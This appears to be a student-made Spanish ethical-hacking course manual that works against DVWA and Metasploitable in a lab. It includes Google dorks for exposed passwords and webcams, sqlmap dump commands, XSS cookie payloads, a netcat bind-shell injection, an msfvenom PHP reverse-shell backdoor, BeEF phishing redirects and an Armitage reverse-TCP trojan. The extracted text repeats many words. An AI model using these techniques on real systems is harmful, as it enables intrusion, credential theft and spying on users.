INDICE PREFACIO PREFACIO .......................................... ................................................................. ............................................. ............................................. ..................................... ..............1 CAPÍTULO 1 INTRODUCCIÓN ......................................................................................................................... ......................................................................................................................... 2 CAPÍTULO 2 TECNOLOGIA PUBLICA....................................................... PUBLICA............................................................................................................... ........................................................ 8 CAPÍTULO 3 PASSIVE FOOTPRINTING Y DVWA ........................................................................................... 15 CAPÍTULO 4 XSS Y EJECUCIÓN DE COMANDOS EN DVWA .......................................................................... .......................................................................... 22 CAPÍTULO 5 SUBIDA DE ARCHIVOS ............................................................................................................. ............................................................................................................. 27 CAPÍTULO 6 USO DE BeeF..................................... BeeF........................................................................................................ ....................................................................................... .................... 30 CAPÍTULO 7 USO DE ARMITAGE ........................................................................ .................................................................................................................. .......................................... 34
A los alumnos del ciclo de SMX-2 del IES La Senia de Paiporta, que son sin duda los mejores alumnos de FP que he tenido en mi vida. Gracias por el tiempo que hemos compartido juntos. Lo que tenéis entre manos es el resultado de vuestro trabajo.¡ Enhorabuena!
PREFACIO ¿Se acuerdan de cuando no existía Internet?. Era una época triste y gris, con dificultades para acceder al conocimiento y haciendo de las distancias auténticas barreras para la comunicación personal y comercial. Si necesitábamos conocer un concepto, lo buscábamos en la enciclopedia, si queríamos ir a una calle, preguntábamos directamente a la gente, y si queríamos escuchar música, intentábamos sintonizar nuestra emisora favorita… afortunadamente todo esto ha cambiado r adicalmente. Por supuesto que podemos seguir haciéndolo, pero existe un factor clave en nuestros cambios de hábitos: la comodidad. La comodidad es aquello que nos permite hacer clic en una página y escuchar la última canción de Julio Iglesias, saber dónde va a realizar su próximo concierto y comprar entradas centradas en la segunda fila. Todo esto en 5 minutos, sin movernos del sofá. Amigos, Internet está aquí para quedarse, nos permite conectarnos y hacer de este mundo mundo un lugar más unido y globalizado, donde brilla más el el Sol y las estrellas resplandecen en cada clic que hacemos frente a la pantalla. ¿Qué podría salir mal? Pues podrían salir muchas cosas y todas ellas relacionadas directamente con la seguridad de las comunicaciones. Los sistemas informáticos han de proveer autenticidad y seguridad para garantizar nuestra tranquilidad cuando accedemos al sistema y visualizamos visualizamos o descargamos contenido de la red. red. Si no existieran estos mecanismos, directamente no existiría Internet, nadie estaría interesado en acceder a un sistema donde se puede exponer t oda su privacidad, cuentas de banco, fotografías…sería la apocalipsis, ¡peor!, ¡sería volver al mundo analógico!, ¡y eso es algo que no podemos permitir!. Por ello, un grupo de alumnos del IES La Senia debidamente entrenados expondrán en las siguientes páginas una serie de descripciones y contenidos de la asignatura de Seguridad Informática que relatarán con sus propias palabras, generando así el primer manual elaborado directamente por estudiantes para estudiantes. Y por si todo ello no fuera suficiente, su exposición tendrá como base el sistema Kali-Linux, reconocido por ofrecer librerías y mecanismos para practicar de forma segura hacking ético. Lo que tienes ante ti es una obra maestra, un libro que competirá con La Biblia por ser el mejor best-seller de todos los tiempos, así que ¡no esperes ni un minuto más!, ¡comienza ya a leer el primer capítulo y sumérgete de lleno en el mundo de Kali-Linux!
1
CAPITULO 1: INTRODUCCIO INTRODUCCIO N 1-Conceptos básicos
Kali Linux es Linux es una distribución basada en Debian GNU/Linux diseñada principalmente para la auditoría y seguridad informática. Está desarrollado en un entorno seguro. Tiene instaladas por defecto: Nmap que es un escáner de puerto, Wireshark que es un sniffer, John the Ripper un gran crackeador de passwords y la suite Aircrack-ng software para pruebas de seguridad en redes inalámbricas.
Penetration testing (pentest): es (pentest): es una prueba de seguridad donde los evaluadores copian ataques reales para perturbar las funciones de la seguridad de un aplicativo, sistema o red. Etapas del pentesting: 1- Detección de equipos. 2- Detección del “mapa” de la red. 3- Detección servicios y versiones.
2
4- Detección de debilidades. 5- Obtención de algún nivel de acceso inicial. 6- Escalamiento de privilegios. Detención de equipos y estructura de red - El agente buscará en en esta etapa detectar el mayor parte de componentes posibles de la red a atacar. - No solamente los servidores, sino también el resto del equipamiento de comunicaciones (switches) y seguridad (firewalls) podrán ser blancos importantes. - La detección de la estructura de la red no siempre es estrictamente necesaria, pero le puede dar al agente un nivel adicional de información para la realización de ataques. - Servidores de nombre (DNS). - Ping - Dependiendo de la configuración de las herramientas utilizadas por el atacante, es muy posible que esta etapa pase inadvertida, tal y como veremos en próximos capítulos. Detección de servicios y versiones. - Suelen aparecer indicios de que la red está bajo ataque. - El agente buscará determinar cuales son los servicios corriendo, los sistemas operativos que los soportan. - “Port Scanning” (recorrida de puertos de forma secuencial/aleatoria): Es la técnica más básica para intentar realizar una conexión estándar de TCP con el puerto específico. Detección de debilidades. - El agente buscará determinar vulnerabilidades en los servicios instalados. - Se utilizan herramientas automatizadas que cuenten con bases de datos actualizados periódicamente que cuentan con bases de datos actualizadas periódicamente para hacer el análisis, aunque en algunos casos el atacante podrá interactuar directamente con los servicios. - Algunas de las vulnerabilidades (“exploits”) más usuales i ncluyen:
3
-by-one”. “Buffer overflows”/ “Dangling Pointers”/ ”Off -by“Directory Traversal”/ “Source Disclosure”. “MIME explosifs”.
Obtención/ escalamiento de acceso. • Si la etapa anterior el agente encuentra algún servicio que incluye vulnerabilidades, puede intentar
dicho servicio para obtener algún nivel de acceso al servidor donde él mismo ejecuta. • Dependiendo de sus objetivos, este nivel de acceso puede o no ser suficiente, lo cual d epende en
general de los privilegios con los que corra el servicio. • En caso de que se necesite mayor nivel, el atacante normalmente intentará escalar sus privilegios a
través de nuevos ataques (ataques locales). • Es importante notar que en el ca so de detectarse que un atacante obtuvo cierto nivel de acceso a un
equipo (especialmente de alto nivel de privilegio), puede resultar muy difícil determinar qué información fue accedida o que otros componentes del servidor pueden estar comprometidos.
2-Active footprinting y Banner Grabbing -Active footprinting: footprinting : cuando se trata de piratería, el término huella se utiliza para referirse a algunos de los trabajos que los piratas informáticos realizan en silencio, entre bambalinas, antes de atacar un sistema. Esto puede implicar ver qué sistema operativo utiliza una configuración de hardware o hacer ping al sistema para determinar las propiedades de diseño. Escaneo de puertos o consultas de registro son también otros tipos de huella. Estos tipos de información luego construyen el plan para un ataque cibernético. En ese sentido, la palabra huella se usa en tecnología de la información como la palabra casing se usa para robo de casa. -Banner grabbing: es grabbing: es una técnica de enumeración, que consiste en capturar los banners que muestran las aplicaciones al conectarnos a ellas. Podremos obtener información como el tipo de software, la versión y el sistema operativo. Esto se torna de vital importancia cuando estamos buscando vulnerabilidades en un sistema.
4
2.1-Active footprinting El comando dnsenum: dnsenum: se captura tanta información como sea posible sobre un dominio. El programa actualmente realiza las siguientes operaciones:
Obtener la dirección host.
Obtener los servidores de nombre.
Obtener el registro MX.
Realizar consultas axrf sobre los servidores de nombre y obtener versión de Bind.
Obtener nombres y subdominios adicionales mediante google.
Fuerza Bruta a subdominios desde un archivo, también puede realizar recursividad sobre subdominios que tienen registros NS.
Calcula los rangos de redes de dominio de clase C y realiza una consulta whois sobre ellos.
Realiza consultas inversas sobre los rangos de red.
Escribir al archivo domain_ips.txt bloques de IP.
5
El comando dnsmap: dnsmap: se utiliza por pentesters durante la fase de recopilación/enumeración de información de las evaluaciones de seguridad de infraestructura.
6
2.2-Banner grabbing Netcat: Es Netcat: Es una herramienta de red que permite a través de intérprete de comandos y con una sintaxis sencilla abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones UDP/TCP.
Zenmap: Es Zenmap: Es un escáner de seguridad gratuito y de código abierto, fue diseñado para la investigación de seguridad de la información y puede usarse tanto para fines de sombrero blanco como de sombrero negro. La herramienta es capaz de descubrir vulnerabilidades y su impacto, y detectar los dispositivos IoT afectados.
7
CAPITULO 2: TECNOLOGIA PUBLICA 1-Conceptos básicos Como tecnología pública entendemos todos aquellos comandos y/o aplicaciones que nos permiten obtener información pública del sitio auditado. Para ello, hacemos uso de la información pública mostrada a través de redes sociales o motores de búsqueda. A través de los siguientes apartados comprobarás lo expuestos que estamos ¡por nuestro propio mérito!.
2-Comandos de terminal WhatWeb WhatWeb identifica sitios web. Su objetivo es responder a la pregunta, “¿Qué es ese sitio web?”.
WhatWeb reconoce tecnologías web, incluyendo los sistemas de gestión de contenidos (CMS), plataformas de blogs, estadística / paquetes de análisis, bibliotecas de JavaScript, servidores web y dispositivos embebidos. WhatWeb cuenta con más de 1.500 plugins, cada uno capaz de reconocer algo diferente. WhatWeb también identifica los números de versión, direcciones de correo electrónico, ID de cuenta, módulos framework web, errores de SQL, y más.
8
OTROS EJEMPLO DE USO: * Scan example.com whatweb example.com * Scan reddit.com slashdot.org with wi th verbose plugin descriptions whatweb -v reddit.com slashdot.org * An aggressive scan of mashable.com detects the exact version of WordPress whatweb -a 3 mashable.com 3 mashable.com * Scan the local network quickly with 255 threads and suppress errors whatweb --no-errors -t 255 -t 255 192.168.0.0/24 WPScan Hay que actualizar la base de datos de WPScan para usarlo por vez primera. La base de datos está compuesta por un conjunto de archivos que contienen contienen firmas hash de componentes componentes de WordPress, de plugins, descripciones de vulnerabilidades, referencias de exploits, entre otros datos que pueden consultarse en línea Para actualizar los archivos se utiliza la opción –update –update::
wpscan – wpscan –update update
Escaneo básico Antes del escaneo:
Y el resultado después del escaneo sería el siguiente:
9
Concepto
Concepto de User-Agent. Un User-Agent es una aplicación informática que funciona como cliente en un protocolo de red; ese aplica generalmente para referirse a aquellas aplicaciones que acceden al World Wide Web. Los UserAgent que se conecten a una Web pueden ser desde navegadores web hasta los web crawler de un buscadores, pasando por teléfonos móviles,.
3-Uso de Maltego Comenzamos este apartado haciéndonos la siguiente pregunta…
¿Por qué algunos sitios no nos devuelven información de tecnología? Porque ciertos sitios web han de mostrar contenidos diferentes según el agente de usuario; en Internet, esto implica mostrar diferentes contenidos según el navegador web - Recuperación de información de un objetivo: Maltego. - Recuperar información de una persona. Procedimiento. Abrimos el maltego y damos a nuevo una vez abierto seleccionamos y arrastramos a persona al panel blanco y introducimos un nombre cambiando el nombre de jhon doe que sale segundo botón sobre el icono que introducimos el nombre y solo resta hacer clic con el botón derecho sobre el icono de la persona y seleccionar la opción “ run transform”. En esta categoría hay diferentes subcategorías, donde se puede optar por información que queremos buscar, como correos electrónicos, direcciones IP de un sitio web, etc. En este caso vamos a buscar los emalis pero si vamos a la opción “ all transforms” saldrá toda la información que contenga el nombre.
10
De esta forma podemos encontrar perfiles en Facebook, Facebook, Twitter Twitter incluyendo amistades relacionadas a esta persona en sus redes sociales. Para verlo con más detalle se puede hacer clic en el botón “ Entity List ”, ”, donde se pueden apreciar mejor los links y más información. Uso de transformada "Have I Been Pawnd?". Comprobación adicional mediante web. Have I been pwned? es un sitio web que nos permite comprobar si una dirección de correo ha sido filtrada en un ataques. Sólo tienes que introducir tu cuenta y verás en qué ataques apareció.
11
Recuperación información de un alias. Abrimos el maltego y damos a nuevo una vez abierto seleccionamos y arrastramos al alias tal y como hicimos con la personaa al panel blanco y introducimos un nombre cambiando el alias de Mr. T por el que buscamos, solo resta hacer clic con el botón derecho sobre el icono de persona y seleccionar la opción “run transform”.
Recuperación información de un dominio. En el maltego hacemos lo mismo que con la persona y alias arrastramos el dominio al panel blanco. Cambiamos el nombre y hacemos clic con el botón derecho sobre el icono de la persona y seleccionar la opción “run transform” para que para que salga busque y nos de los datos del dominio.
Fig. 1 - Nosotros haremos run transform to social account
12
Más precisión: El uso de las máquinas. Ejemplo de uso.
En Maltego podemos ejecutar unos pseudoscripts, los cuales se ejecutan de manera remota (en unos servidores llamados máquinas) que se encargan de cumplir una tarea para obtener la información que requerimos. También sería posible crear máquinas por el propio editor. Los tipos de máquinas que tenemos en la versión gratuita son:
Company Stalker: Esta Stalker: Esta máquina intentará obtener todas las direcciones de correo de un determinado dominio y averiguará cuales ofrecen resultados en redes social es. Además obtiene los documentos alojados en el dominio y extrae los metadatos. Requiere como dato de entrada el dominio a analizar. Footprint L1: L1: realiza un footprint de nivel 1 (rápido, básico) sobre un dominio. Footprint L2: L2: Realiza un footprint de nivel 2 (medio) sobre un dominio. Footprint L3: L3: Realiza un footprint de nivel 3 (intensivo) sobre un dominio. Requiere de tiempo y consume muchos recursos. Se recomienda usarlo con cuidado. Person – Person – Email Email Address: Address: Intenta obtener las direcciones de correo de una determinada persona y averigua los sitios webs en los que aparecen. Requiere como dato de entrada una dirección de correo inicial. Prune Leaf Entities: Entities: Elimina las entidades sin nodos dependientes. Twitter Digger: Digger : Busca una determinada frase como un alias de Twitter. Es posible que esta máquina se vea bloqueada por la API de Twitter al ejecutarse en varias var ias ocasiones. Twitter Geo Location: Intenta Location: Intenta encontrar la geolocalización de una determinada persona en Twitter utilizando diferentes técnicas. Twitter Monitos: Monitos: Monitoriza Twitter en busca de los hashtags, y entidades mencionadas que aparecen en torno a una determinada frase. URL To Network Add Domain Information: Information: A partir de una URL obtiene información de la red y del dominio al que pertenece.
13
Vamos a la parte superior, cerca de donde se localizaba New, y clickar sobre el icono rojo o también podríamos crear un proyecto y vamos a la pestaña que pone máquinas, y clicamos a run machine.
Luego seleccionamos la maquina nosotros le damos a Footprint L3 le damos a siguiente y ponemos un nombre al dominio y a darle run empezara a buscar en el dominio seleccionado obtenemos una gran cantidad de información.
14
CAPITULO 3: PASSIVE FOOTPRINTING Y DVWA 1-Passive Footprinting Definición : Passive footprinting es un método en el que el atacante nunca hace contacto co ntacto con los sistemas de destino. La desventaja del método activo para un atacante es que muchas compañías pueden registrar el contacto entre un atacante y el sistema objetivo. Comando whois : WHOIS es un protocolo TCP basado en petición/respuesta que se utiliza para efectuar consultas en una base de datos que permite determinar el propietario de un nombre de dominio o una dirección IP en Internet. Comando theharvester : Esta herramienta está destinada a ayudar a los probadores de penetración en las primeras etapas de la prueba de penetración para comprender la huella del cliente en Internet. También es útil para cualquier persona que quiera saber qué puede ver un atacante sobre su organización. Google Hacking: es una técnica en informática que utiliza operadores para filtrar información en el buscador de Google . Google Dorks : son combinaciones de operadores de búsqueda b úsqueda especiales que se utilizan para extraer información valiosa o sensible desde Google Ejemplos de Dorks de Google: Para buscar una frase exacta tienes que ponerlo entre comillas: “patata”. No distingue entre mayúsculas y minúsculas, así que indiferentemente de la palabra o palabras que pongamos alternando con minusculas y mayusculas seguirá manteniendo el mismo resultado de búsqueda. Comandos: Uso de Cache: Nos lleva directamente a la versión que tiene google de una determinada página por ejemplo cache:www.marca.com y nos llevará al cache que tiene almacenada google de www.marca.com . Ficheros con usuarios y contraseñas lo que permite al hacker entrar directamente en tu web: ext:pwd inurl:(service | authors | administrators | users) “# -FrontPage-“ filetype:sql “# dumping data for table” “`PASSWORD` varchar”
Bases de datos sql volcadas completas, tienen datos de usuarios y contraseñas. Se pueden hacer
15
modificaciones en la cadena de búsqueda, para sacar otros tipos de información. Ficheros con nombres de usuario o mensajes de error que revelan el nombre de usuario “access denied for user” “using password” “general error” -inurl:phpbb “sql error”
Foros que dan errores. Nos dan el nombre del usuario y a veces también la IP del servidor. En Google aparecen más de 340.000 foros vulnerables. Dispositivos hardware online (ver webcams y cámaras de v igilancia o manejar impresoras remotamente): “active webcam page” inurl:8080: cámaras disponibles en el puerto 8080. “inurl:webarch/mainframe.cgi”: Impresoras listas para administrar remotamente. “intitle:”network print server” filetype:shtm y más impresoras esperando a
hackers.
2-Trabajo con DVWA Para llevar a cabo las pruebas de hacking ético que desarrollaremos en este manual, necesitamos hacerlo contra una máquina privada, dentro de un entorno controlado, y esta posibilidad nos la ofrece la máquina Metasploitable, diseñada específicamente para este fin. Metasploitable 2: Instalación. Metasploit es un proyecto de código abierto para la seguridad informática , que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración "Pentesting" y el desarrollo de firmas para sistemas de detección de intrusos . Fue creado utilizando el lenguaje de programación de scripting Perl aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby . Metasploit ofrece muchos tipos de cargas útiles, incluyendo: ● 'Shell de comandos' permite a los usuarios ejecutar scripts de cobro o ejecutar comandos arbitrarios. ● 'Meterpreter' permite a los usuarios controlar la pantalla de un dispositivo mediante VNC y navegar,
cargar y descargar archivos. ● 'Cargas dinámicas' permite a los usuarios evadir las defensas antivirus mediante la generación de cargas
únicas. Para ello debemos instalar Metasploit para hacer función de ejecutar varios ejemplos de comandos.
16
DVWA. Consulta SQL injection. Damn Vulnerable Web App (DVWA) es una aplicación hecha en PHP y MySQL para el entrenamiento de explotación de vulnerabilidades web, perfecto para poner a pruebas nuestras habilidades en el tema e igualmente para aprender nuevas técnicas. Está dividido en tres niveles: Low, medium y high, cada uno respectivamente va aumentando su nivel de dificultad.
Captura de cookies y cracking de passwords Siendo "url" la url de DVWA, "user-agent" cualquier user-agent aleatorio y "cookie" la cookie de nuestra sesión. En una terminal de kali linux introducimos el siguiente comando para hacer la captura de las cookie las cookie que contenga password y user. sqlmap -u "url" --dbs --user-agent="user-agent" --user-agent="user-agent" – cookie="cookie" –cookie="cookie"
17
-Uso de XSS reflected para captura de cookies Vamos de nuevo al navegador e introducimos la ip que tenga asignada el Metasploitable y seleccionamos la opción DVWA XXS Reflecte allí introducimos el siguiente script.
<script>alert('document.cookie') Tal y como se ve en las imágenes para que salga el mensaje.
-Comando sqlmap con user-agent aleatorio, cookie capturada y opción tables. En una terminal ponemos esta combinación de comandos para extraer la información de las tablas de dvwa sqlmap -u "url" -D dvwa --tables --user-agent="user-agent" –cookie="cookie" –cookie="cookie"
18
-Uso de Burpsuite para captura de cookies. Abrimos el Burp suite y vamos a option a option y en add le añadimos la ip la ip y el puerto que usaremos de proxy de proxy
Después de marcarla vamos al explorador para habilitar nuestro proxy en la configuración y vamos a manual eh introducimos la ip en HTTP Proxy y Proxy y el puerto ponemos 8080 en nuestro caso y le damos a ok
19
Ahora cuando algún usuario introduzca su usuario y password sera capturado por Burpsuite como se ve en la captura.
-
Comando sqlmap con user-agent aleatorio, cookie capturada y opción de la tabla de users. Resultado con passwords crackeados.
20
Obtiene información de tabla users: Ahora con esta combinacional de comandos sacaremos la información de la tabla de users sqlmap -u "url" -T users --dump --user-agent="user-agent" – --user-agent="user-agent" –cookie="cookie" cookie="cookie"
John the Ripper Es una herramienta de auditorías de seguridad, muy utilizada para comprobar si nuestras claves son seguras. Para ello se le proporcionamos un fichero de entrada con los hashes de las claves que queremos comprobar, y un diccionario o juego de caracteres con los que realizar las pruebas de desecriptar. En una terminal usaremos la siguiente combinación de comandos. john --format=raw-MD5 fichero_con_hashes.txt fichero_con_hashes.txt
21
CAPITULO 4: XSS Y EJECUCIO EJECUCIO N DE COMANDOS EN DVWA 1-Introducción a XSS -Definición de ataque XSS. El ataque XSS es un tipo ataque de inyección de código malicioso para su posterior ejecución que se puede realizarse a sitios web, aplicaciones locales e incluso un navegador. Este ataque se realiza cuando se envía un código malicioso a la aplicación web y se coloca de forma intencionado para confundir al usuario ya sea por un hipervínculo a otra pagina, mensajería instantánea o un correo electrónico. Es un tipo de vulnerabilidad informática o agujero de seguridad que se suelen encontrar en las aplicaciones Web, que permiten a una tercera persona inyectar en páginas web visitadas por el usuario un código JavaScript o mediate otro lenguaje similar (ej: VBScript), podemos evitarlo usando medidas como CSP Política del mismo origen. Es posible encontrar esta vulnerabilidad de Cross-Site Scripting en aplicaciones que tengan entre sus funciones mostrar la información en un navegador web u otro contenedor de páginas web. Sin embargo, no se limita solo a sitios web en linea, tambien podemos encontrar aplicaciones locales vulnerables a XSS.
-Tipos: Reflejado y persistente. XSS Indirecto (reflejado) El XSS indirecto funciona modificando valores que la aplicación web pasa de una página a otra, sin emplear sesiones. Sucede cuando se envía un mensaje o ruta en una URL, una cookie o en la cabecera HTTP (pudiendo extenderse al DOM del navegador). Supongamos que un sitio web tiene la siguiente ruta: http://www.example.com/home.asp?frame=menu.asp y que al acceder se creará un documento HTML enlazando con un frame a menu.asp. En este ejemplo, ¿qué pasaría si se pone como URL del frame un código javascript? javascript:while(1)alert("Este mensaje saldrá indefinidamente"); indefinidamente"); Si en este enlace lo pone un atacante hacia una víctima, un visitante podrá verlo y verá que es un enlace 22
del mismo dominio, pensando que no puede ser nada malo dando el resultado de un bucle infinito de mensajes. Se suele colocar un script que robe las cookies de la víctima, para después poder personificarse como con su inicio de sesión, o hacer automático el proceso con el uso de la biblioteca cURL con este metodo el atacante podría ejecutar acciones con los permisos de la víctima sin necesitar su contraseña. Otro uso común para estas vulnerabilidades es mediante el phishing. Con este metodo la víctima ve en la barra de direcciones un sitio, pero realmente está en otra parecida. La víctima introduce su contraseña y se la envía al atacante. Una página como la siguiente: error.php?error=Usuario%20Invalido Para probar vulnerabilidades de XSS en cookies, se puede modificar el contenido de una cookie de forma sencilla, usando el siguiente script. Sólo se debe colocar en la barra de direcciones, y presionar 'Enter'. javascript:void prompt("Introduce la cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie= _;});
XSS Directo (persistente) Funciona localizando puntos débiles en la programación de los filtros de HTML si es que existen, para publicar contenido (como blogs, foros, etc.). Normalmente el atacante tratara de insertar tags como <iframe>, o <script>, pero en caso de fallar, el atacante puede tratar de poner tags que casi siempre están permitidas y es poco conocida su capacidad de ejecutar código. De esta forma el atacante podría ejecutar código malicioso. <script>alert("xss") -Ejemplo de XSS Reflejado con la opcion XSS Reflected. Ejemplos: Una Ejemplos: Una posibilidad es usar atributos que permiten ejecutar código.
-Ejemplo de XSS Persistente con la opcion XSS X SS Stored.
23
-Ataque Deface. Definición. Deface o Deface o defacement es defacement es hacer una entrar sin autorización a un servidor web y hacer cambios en su página principal, incorporando un mensaje de texto, imagen, vídeo, etc. Esta acción puede ser de carácter reivindicativo, lo que se llama hacktivismo, o para hacer un ataque a los responsables, o simplemente para dejar constancia de que entro por una vulnerabilidad. Incluso ahí hackers que se lo llegan a tomar como una competición. Ejemplo redirigiendo a una página web. A poner el código creado en html pero para hacer esto tendremos que hacer 2 pasos
24
Primer paso :vamos a poner la seguridad baja
Para poner la seguridad Low (baja) vamos a DVWA Security y la ponemos le damos a sumint para aplicar esas seguridad y poder hacer el hackeo de prueba. Segundo paso: Editar HTML Vamos a XSS y alli clickamos el segundo boton una vez clickado sobre nombre del ratón y elegimos inspect element o pulsamos la letra Q del teclado, y alli editamos el numero 10 poniendo 100 o un numero grande en maxlength la linea resaltada para poder poner el código HTML y hacer el XSS.
Una vez hecho esto ponemos el nombre en la sección nombre introducimos el codigo html:
25
<meta http-equiv="R efresh"
content="0;u rl=http://www .w3docs.com" />
Y le damos al boton Sign Guestbook y nos redirecionara a la página que pusimos. Y después clickamos en xss se vera como nos redirecciona.
2-Ejecución de comandos Es un método mediante una terminal poder ejecutar órdenes de ejecución de aplicaciones del equipo, solicitar información del equipo o poder administrar en sistema mediante ellos accediendo a él de forma más profunda. Ejemplo de netcat. Para el ejemplo de la ejecución de comandos usaremos esta combinación de comandos, : 127.0.0.1 | nc -l -p 5555 -e /bin/bash En el que el Netcat funcionando a través del puerto 5555 y espera a la escucha de respuesta en el otro sistema que haremos lo mismo .
26
CAPITULO 5: SUBIDA DE ARCHIVOS ARCHIVOS 1-Introducción Como ocurre en muchas redes sociales, al darnos de alta siempre se nos solicita una imagen que hará el papel de nuestro avatar hacia el resto de usuarios de la red. En este capítulo aprenderemos cómo hacer que esa imagen ejecute un código php y poder acceder de esa forma al sistema de manera remota. Estamos hablando de generar una puerta trasera o un backdoor.
Definición de Backdoor: Un Backdoor o puerta trasera es una secuencia especial dentro del codigo de programación, mediante la cual se pueden evitar los sistemas de de seguridad del algoritmo para acceder al sistema. Ejemplo de generación de un backdoor. msfvenom -p php/meterpreter/reverse_tc php/meterpreter/reverse_tcp p lhost=
lport=4444 -f raw > shell.php
Se generará el siguiente fichero con extensión php:
Una vez generado el backdoor: Se entra a la consola de metasploit con msfconsole, después esperamos a que se cargue y tecleamos:
Use multi/handler. set payload php/meterpreter/reverse_tcp php/meterpreter/reverse_tcp 27
set lohost set lport 4444 show options run
2-Ejemplo de uso de Burpsuite Primero de todo vamos a DVWA:
28
Lo siguiente que haremos es al navegador preference p referencess > Network proxy> Manual proxy configuration y dejamos la dirección de loopback:
Le daremos a ok lo siguiente iremos a la terminal de Kali ejecutaremos los comandos que se ha dicho anteriormente y finalmente, iremos a burpsuit proxi > forward > renombraremos el archivo a php.
Como hemos visto, Burpsuite es una herramienta muy potente, ya que nos permite situarnos “en medio”
del usuario y los datos que se están enviando a Internet, como si de un falso proxy se tratara. Por esta situación de Burpsuite, se dice que es especialista en ejecutar ataques de “Man in the middle”.
29
CAPITULO 6: USO DE BeeF 1-Introducción ¿Qué es Beef XSS?. Beef es la abreviatura para The Browser Exploitations Framework(El marco de explotación del navegador). Es una herramienta de prueba de penetración de navegador web que funciona ejecutando el script “hook.js” en un navegador, a través del cual obtenemos todo el control del
mismo. En los siguientes apartados comprobaremos operaciones que podemos llevar a cabo utilizando esta herramienta que nos ofrece Kali-Linux:
2-Operaciones principales con BeeF
1-detectar los links que hay en la página con Get Page HREFs Get Page HREFs nos indica todos los href que que tiene dicha página web, podríamos utilizarlo para saberlos y cambiar los que nos convengan.
30
2-cambiar los links por Replace HREFs Con replace HREFs reemplazamos todos los href por el de la página que queramos, podremos crear una página web muy parecida a la que nuestro objetivo está accediendo e intentar sacarle información
3-sacar una ventana con un aviso con Create Alert Dialog Si queremos por ejemplo asustar a nuestro objetivo con Create Alert Dialog le podemos crear una ventana de diálogo con el texto que queramos.
31
4-redirigir a otra página web con Redirect Browser Si utilizamos Redirect Browser obligamos a cargar la página que pongamos en el Redirect, si está en bankia podríamos redirigirlo a nuestra “bankia” y sacarle información, un usuario normal no se daría cuenta.
32
5-Uso de prompt Cada vez que utilizamos el comando prompt, creamos una alerta y nos inventamos cualquier error solicitando información.
También tenemos la posibilidad de usar la webcam remota y capturar las imágenes o bien obtener retransmisión en vivo con la opción de “stream”.
Las posibilidades son infinitas, sólo hace falta tener tiempo e ir probando para ver cuál se ajusta más a tus intereses como “pentester”.
33
CAPITULO 7: USO DE ARMITAGE 1-Introducción Armitage es un Administrador Gráfico de Ciber Ataques para Metasploit que sirve para visualizar gráficamente tus objetivos. El mismo programa te recomienda que exploit debes usar. Expone las opciones avanzadas del framework (esas que comúnmente se nos olvida o no sabemos), desde el mismo Armitage podemos iniciar un análisis con Nmap, e incluso se puede usar el módulo de Brute Force para sacar username/password.
2-Trabajando con Armitage paso a paso Primero iniciaremos los servicios de apache, postgresql y msfdb
Cuando ejecutemos el comando msfdb, el terminal nos irá devolviendo información de inicio de la base de datos. Tal y como vemos a continuación:
34
Ahora nos conectaremos al metasploit, dejaremos la configuración por defecto:
Quizá nos salga el siguiente mensaje de error, pero no pasa nada, hacemos clic en OK y continuamos el proceso de inicialización:
35
Ahora haremos un Nmap scan (quick scan (Os detect)) en el rango de direcciones que queramos, en nuestro caso, como estamos trabajando con una máquina virtual en red NAT, lo hacemos para la dirección 192.168.200.0
36
Al terminar el escaneo, nos aparecerán todas las maquinas que ha detectado en el rango de ips:
Los dispositivos que nos aparecerán por pantalla serán todos aquellos cuyas ips estén dentro del rango especificado anteriormente. Podrán salir tanto máquinas físicas como máquinas virtuales, e incluso periféricos (en este caso aparecen 2 impresoras), o plataformas móviles. También nos parece muy interesante la información relacionada con el sistema operativo, ya que nos permitirá conocer a priori que ataque son más interesantes en cada caso. Ahora crearemos un reverse tcp, configuraremos el lport en 7000, y el archivo será .exe. Este ejecutable será nuestro “virus” que ejecutaremos en pasos posteriores:
37
Lo guardamos en /var/www/html (aquí tendremos la página que anteriormente hemos configurado). De esta forma, en nuestro directorio web de apache tendremos conjuntamente la página web y el archivo ejecutable. Como vemos en la siguiente imagen es justamente así:
38
Ahora desde el terminal de armitage, arm itage, configuraremos la ip del lhost lho st en nuestra ip, después configuraremos el puerto 7000, y finalmente ejecutamos el xploit.
Ahora solo falta que el objetivo haga clic en el mensaje emergente:
39
Este sería el momento en el que, desde Windows, descargamos intencionadamente el archivo ejecutable, que realmente es el virus que generamos anteriormente:
Tras esto, la máquina quedará infectada y así nos lo comunicará Armitage:
40
De esta forma podremos hacer lo que queramos con la maquina infectada, por ejemplo podremos acceder a sus archivos:
O ver los procesos:
Acceder directamente al cmd:
También podríamos hacer que ejecutaran programas, que se apague el ordenador, conectarnos a la webcam….
En general podríamos hacer casi lo que quisiéramos mientras el ordenador esté encendido, en este momento el control del ordenador o rdenador es nuestro.
41